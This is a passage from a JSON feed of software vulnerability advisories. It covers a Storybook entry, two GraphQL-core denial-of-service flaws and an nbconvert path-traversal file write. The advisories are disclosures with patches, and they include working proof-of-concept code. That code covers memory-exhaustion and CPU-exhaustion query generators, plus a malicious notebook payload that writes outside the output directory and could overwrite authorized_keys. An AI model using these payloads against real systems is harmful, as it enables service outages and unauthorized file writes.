(npm)","storybook","@storybook/core","@storybook/core-server","@storybook/experimental-addon-test","@storybook/addon-vitest","@storybook/addon-mcp","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114126","asOf":"2026-10-22T17:21:57.293Z"},"epss":{"probability":0.00529,"percentile":0.44468,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114126&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-px85-f4q5-jh77","url":"https://github.com/advisories/GHSA-px85-f4q5-jh77","type":"primary","publishedAt":"2026-10-22T16:31:40.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-px85-f4q5-jh77, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-px85-f4q5-jh77, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-px85-f4q5-jh77, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-px85-f4q5-jh77, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-px85-f4q5-jh77, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-px85-f4q5-jh77, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-px85-f4q5-jh77, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-px85-f4q5-jh77, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-px85-f4q5-jh77, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-114126","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114126","type":"primary","publishedAt":"2026-10-21T18:17:25.130Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114126&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114126, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-75508","cveId":"CVE-2026-75508","aliases":["GHSA-r77w-qph3-7vf8"],"kind":"vulnerability","title":"GraphQL-core: Denial of service via comment tokens bypassing the parser's max_tokens limit","summary":"The parser's `max_tokens` limit — the documented defence against oversized GraphQL\ndocuments — did not count comment tokens. A document padded with comments could\ntherefore pass a `max_tokens` check of any size while still allocating one `Token`\nobject per comment, all of which stay reachable for the lifetime of the parsed\ndocument. A 38 MB comment-padded payload allocated roughly 92 MB of additional\nresident memory with `max_tokens=5` in force.\n\n`Lexer.lookahead()` reads tokens one at a time and skips over comments, returning only\nthe first non-comment token. Each skipped comment is nevertheless fully tokenized,\nallocated as a `Token` object, and linked into the persistent token list via\n`token.next` / `token.prev` — the chain that powers source-location reporting, and\nwhich is retained as long as the document is.","detail":"### Summary\n\nThe parser's `max_tokens` limit — the documented defence against oversized GraphQL\ndocuments — did not count comment tokens. A document padded with comments could\ntherefore pass a `max_tokens` check of any size while still allocating one `Token`\nobject per comment, all of which stay reachable for the lifetime of the parsed\ndocument. A 38 MB comment-padded payload allocated roughly 92 MB of additional\nresident memory with `max_tokens=5` in force.\n\n### Details\n\n`Lexer.lookahead()` reads tokens one at a time and skips over comments, returning only\nthe first non-comment token. Each skipped comment is nevertheless fully tokenized,\nallocated as a `Token` object, and linked into the persistent token list via\n`token.next` / `token.prev` — the chain that powers source-location reporting, and\nwhich is retained as long as the document is.\n\n`Parser.advance_lexer()` incremented the token counter only for the tokens the lexer\nactually returned. Comments were therefore invisible to the accounting, and\n`max_tokens` bounded only the *non-comment* tokens.\n\nThe practical consequence is a gap between what users reasonably believe `max_tokens`\nprotects and what it did protect. The limit was not broken for ordinary documents —\nreal tokens were still capped correctly — so the shortfall was not observable without\nspecifically testing comment padding.\n\nAs with the companion issue, the payload compresses extremely well (`# c\\n` repeated),\nso body-size limits and WAF inspection applied to the compressed request do not see\nits true size, while the framework decompresses it in memory before the parser is\nreached.\n\n### Proof of concept\n\n```python\nimport gc\nimport resource\nfrom graphql import parse\n\n# 100,000 comments, a 5-token query, and max_tokens=5 — accepted.\nquery = \"# c\\n\" * 100_000 + \"{ a }\"\nparse(query, max_tokens=5) # no error raised\n\n# Memory amplification.\nbig = \"# padding comment used to amplify memory per token\\n\" * 500_000 + \"{ a }\"\ngc.collect()\nbefore = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss\nparse(big, max_tokens=5) # ~38 MB source\nafter = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss\nprint(f\"RSS delta: +{(after - before) / 1024:.0f} MB\")\n```\n\nMeasured on GraphQL-core 3.2.8 / CPython 3.12 / Linux x86_64: the 391 KB payload\nparsed in 127 ms, and the 38.1 MB payload produced an RSS delta of **+92 MB** — about\n2.4× the source size, on top of the source string itself.\n\n### Impact\n\nDenial of service through memory exhaustion. A modest number of concurrent requests\ncan push a worker past a typical 256 MB or 512 MB container limit and trigger an\nOOM kill. No authentication is required, and no data is disclosed or modified.\n\nDepth limiters and complexity analyzers do not help: they run on the AST after parsing\nhas already succeeded, and the document contains only five real tokens.\n\n### Patches\n\nFixed in **3.2.12** and **3.3.0rc1**.\n\n`Parser.advance_lexer` now counts every token consumed, including the comment tokens\nthe lexer skips between the previously focused token and the new one, and including\nthe advance onto EOF so that trailing comments are covered. `max_tokens` therefore now\nbounds every `Token` the parser allocates.\n\nNote the behaviour change: **comments now count toward `max_tokens`.** A\ncomment-heavy document that was previously accepted may now be rejected. If you parse\ndocuments containing substantial comments — SDL files with documentation comments, for\ninstance — and you set `max_tokens`, you may need to raise the limit. The\n`token_count` attribute of a parsed document likewise now includes comments.\n\n### Workarounds\n\nIf you cannot upgrade, apply a request body-size limit to the **decompressed** body\nbefore the document reaches `parse()`.\n\nSuch a limit is worth keeping after upgrading as well: `max_tokens` is one guard among\nseveral and bounds the token count, not the overall cost of a request.\n\n### References\n\n- GraphQL specification § 2.1.4 — Comments\n\n### Credits\n\nReported by @BZHunt, who also reviewed the fixes\nbefore release. In memory of ZaX, who was the driving force behind this discovery.\n\nAffected package ranges reported by GitHub:\ngraphql-core: >= 3.2.3, < 3.2.12\ngraphql-core: >= 3.3.0a3, < 3.3.0rc1","action":"GitHub lists first patched versions: graphql-core: 3.2.12; graphql-core: 3.3.0rc1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:27:14.000Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":"graphql-core, graphql-core","stacks":["Python packages (PyPI)","graphql-core","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-75508","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.00573,"percentile":0.47059,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-75508&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-r77w-qph3-7vf8","url":"https://github.com/advisories/GHSA-r77w-qph3-7vf8","type":"primary","publishedAt":"2026-10-22T16:27:14.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-r77w-qph3-7vf8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-r77w-qph3-7vf8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-r77w-qph3-7vf8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-r77w-qph3-7vf8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-r77w-qph3-7vf8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-r77w-qph3-7vf8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-r77w-qph3-7vf8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-r77w-qph3-7vf8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-r77w-qph3-7vf8, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-75508","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-75508","type":"primary","publishedAt":"2026-10-22T17:16:59.933Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-75508&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-75508, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-75507","cveId":"CVE-2026-75507","aliases":["GHSA-vj8h-fx38-h3vc"],"kind":"vulnerability","title":"GraphQL-core: Denial of service via quadratic complexity in the OverlappingFieldsCanBeMerged validation rule","summary":"The `OverlappingFieldsCanBeMerged` validation rule can be driven into quadratic — and\nin the worst case `O(n²·m²)` — running time by a small, highly compressible query. A\nsingle 364 KB document can occupy one CPU core for over five minutes during\n*validation*, before any resolver runs. Because the rule is part of `specified_rules`\nand therefore enabled by default, every GraphQL-core based server is affected at\ndefault settings.\n\n`OverlappingFieldsCanBeMerged` compares every pair of fields that share a response\nname and recurses into their sub-selections. The memoization added for\nCVE-2023-26144 (`GHSA-9pv7-vfvm-6vr7`) is keyed by **named fragment** identity, so it\ndoes not cover this path: inline fragments are flattened into the parent selection\nset before the cache is consulted, and therefore every pair is re-compared from\nscratch at every nesting level.","detail":"### Summary\n\nThe `OverlappingFieldsCanBeMerged` validation rule can be driven into quadratic — and\nin the worst case `O(n²·m²)` — running time by a small, highly compressible query. A\nsingle 364 KB document can occupy one CPU core for over five minutes during\n*validation*, before any resolver runs. Because the rule is part of `specified_rules`\nand therefore enabled by default, every GraphQL-core based server is affected at\ndefault settings.\n\n### Details\n\n`OverlappingFieldsCanBeMerged` compares every pair of fields that share a response\nname and recurses into their sub-selections. The memoization added for\nCVE-2023-26144 (`GHSA-9pv7-vfvm-6vr7`) is keyed by **named fragment** identity, so it\ndoes not cover this path: inline fragments are flattened into the parent selection\nset before the cache is consulted, and therefore every pair is re-compared from\nscratch at every nesting level.\n\nRepeating an inline fragment that selects the same response name at two nesting\nlevels multiplies the two effects. There was no comparison budget and no validation\ntimeout, so the rule ran to completion regardless of cost.\n\nThe cost is incurred in the **validation phase**, which is what makes this hard to\ndefend against from outside the library: query-depth limiters, complexity analyzers\nand cost estimators all operate on the parsed document *after* validation, and the\nmalicious document is trivially shallow (depth 3, complexity 1). The payload is also\none short string repeated many times, so it compresses to a few kilobytes and slips\npast body-size limits and WAF inspection that only see the compressed request.\n\n### Proof of concept\n\n```python\nimport time\nfrom graphql import build_schema, parse, validate\n\nschema = build_schema(\n \"type Query { field: Node } type Node { f: Node, g: Node, x: String }\"\n)\n\ndef gen(n: int, m: int) -> str:\n inner = \" \".join([\"... on Node { x }\"] * m)\n outer = \" \".join([f\"... on Node {{ f {{ {inner} }} }}\"] * n)\n return f\"{{ field {{ {outer} }} }}\"\n\nquery = gen(200, 100) # 364 KB, gzips to a few KB\ndocument = parse(query)\nstart = time.perf_counter()\nvalidate(schema, document) # returns no errors — it just burns CPU\nprint(f\"{(time.perf_counter() - start):.0f}s\")\n```\n\nMeasured on GraphQL-core 3.2.8 / CPython 3.12 / Linux x86_64:\n\n| n | m | query size | validation time |\n|---|---|---|---|\n| 20 | 20 | 7.6 KB | 0.16 s |\n| 50 | 50 | 46 KB | 5.2 s |\n| 100 | 100 | 182 KB | 81 s |\n| 200 | 100 | 364 KB | **319 s** |\n\nDoubling `n` at fixed `m` quadruples the time, as expected for a quadratic outer loop\ndriving a quadratic inner walk.\n\n### Impact\n\nDenial of service. One request pins one worker process for minutes; because CPython\nholds the GIL for this pure-CPU work, a handful of concurrent requests can saturate a\ntypical multi-worker deployment. No authentication is required, and no data is\ndisclosed or modified.\n\n### Patches\n\nFixed in **3.2.12** and **3.3.0rc1**.\n\nValidation now enforces a per-document comparison budget. Once\n`MAX_FIELD_COMPARISONS` (default `250_000`) pairwise comparisons have been made, the\nrule aborts and reports a `GraphQLError` instead of running to completion:\n\n> Query is too complex to validate for overlapping fields: exceeded 250000 field\n> comparisons. Validation was aborted.\n\nThe default is far above what any realistic query reaches. It is a module-level\nconstant and can be raised or lowered:\n\n```python\nfrom graphql.validation.rules import overlapping_fields_can_be_merged\n\noverlapping_fields_can_be_merged.MAX_FIELD_COMPARISONS = 1_000_000\n```\n\nNote the behaviour change: a pathological query that previously validated — slowly —\nnow produces a validation error.\n\n### Workarounds\n\nIf you cannot upgrade, reject oversized documents before they reach `validate()`.\nNote that a request body-size limit must be applied to the **decompressed** body to be\neffective here, since the payload is highly compressible. Removing\n`OverlappingFieldsCanBeMergedRule` from the rule set is *not* a safe workaround: it is\na correctness rule required by the specification.\n\nA body-size limit remains worthwhile after upgrading — the comparison budget bounds\nthis specific rule, not overall request cost.\n\n### Credits\n\nReported by @BZHunt, who also reviewed the fixes\nbefore release. In memory of ZaX, who was the driving force behind this discovery.\n\nIndependently found and diagnosed by @bcmyguest, who\nalso proposed a fix.\n\nAffected package ranges reported by GitHub:\ngraphql-core: >= 3.0.0, < 3.2.12\ngraphql-core: >= 3.3.0a1, < 3.3.0rc1","action":"GitHub lists first patched versions: graphql-core: 3.2.12; graphql-core: 3.3.0rc1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:26:40.000Z","updatedAt":"2026-10-23T22:17:00.110Z","regions":["Global"],"vendor":null,"product":"graphql-core, graphql-core","stacks":["Python packages (PyPI)","graphql-core","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-75507","asOf":"2026-10-23T22:17:00.110Z"},"epss":{"probability":0.006,"percentile":0.48412,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-75507&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-vj8h-fx38-h3vc","url":"https://github.com/advisories/GHSA-vj8h-fx38-h3vc","type":"primary","publishedAt":"2026-10-22T16:26:40.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-vj8h-fx38-h3vc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-vj8h-fx38-h3vc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-vj8h-fx38-h3vc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-vj8h-fx38-h3vc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-vj8h-fx38-h3vc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-vj8h-fx38-h3vc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-vj8h-fx38-h3vc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-vj8h-fx38-h3vc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-vj8h-fx38-h3vc, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-75507","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-75507","type":"primary","publishedAt":"2026-10-22T17:16:59.757Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-75507&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-75507, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114140","cveId":"CVE-2026-114140","aliases":["GHSA-pjvx-prjx-h659"],"kind":"vulnerability","title":"nbconvert: Arbitrary file write through path traversal in cell output filenames when exporting to md, latex, rst and asciidoc","summary":"nbconvert <= v7.17.1 has an arbitrary file write vulnerability due to a path traversal in ipynb cell output metadata, more specifically on the filename attribute.\n\nVulnerable converters : `--to markdown`, `--to latex`, `--to rst`, `--to asciidoc`.","detail":"### Summary\n\nnbconvert <= v7.17.1 has an arbitrary file write vulnerability due to a path traversal in ipynb cell output metadata, more specifically on the filename attribute.\n\nVulnerable converters : `--to markdown`, `--to latex`, `--to rst`, `--to asciidoc`.\n\nIn `ExtractOutputPreprocessor`, `extractoutput.py:116-119` joins attacker-controlled `path` to `output_files_dir` with no canonicalization check, enabling arbitrary file write.\n\nThis is a sibling vulnerability of https://github.com/advisories/GHSA-4c99-qj7h-p3vg.\n\n### Impact\n\nIf a victim runs nbconvert on a malicious ipynb file, it can create some files with arbitrary data in arbitrary locations, i.e. override authorized_keys.\n\nNote that running the cell with jupyter overrides the output, so it would \"clean up\" malicious cells.\n\n### PoC\n\nIn a ipynb file:\n\n```json\n\n\"cells\": [{\n \"cell_type\": \"code\", \"id\": \"abc123\", \"execution_count\": 1,\n \"metadata\": {}, \"source\": \"# PoC\",\n \"outputs\": [{\n \"output_type\": \"display_data\",\n \"metadata\": {\n \"filename\": \"../../../tmp/PWNED.png\" # ← traverses outside output_dir\n },\n \"data\": {\n # minimal valid PNG (1×1 pixel)\n \"image/png\": \"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==\"\n }\n }]\n }]\n\n```\n\n### Patches\n\nFixed in \n- https://github.com/jupyter/nbconvert/commit/ce4bd99aec31d81d759fa8eeb8643179392ec66f\n- [7.17.2](https://github.com/jupyter/nbconvert/releases/tag/v7.17.2)\n\nAffected package ranges reported by GitHub:\nnbconvert: >= 5.4.0, <= 7.17.1","action":"GitHub lists first patched versions: nbconvert: 7.17.2. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:23:28.000Z","updatedAt":"2026-10-22T17:29:28.470Z","regions":["Global"],"vendor":null,"product":"nbconvert","stacks":["Python packages 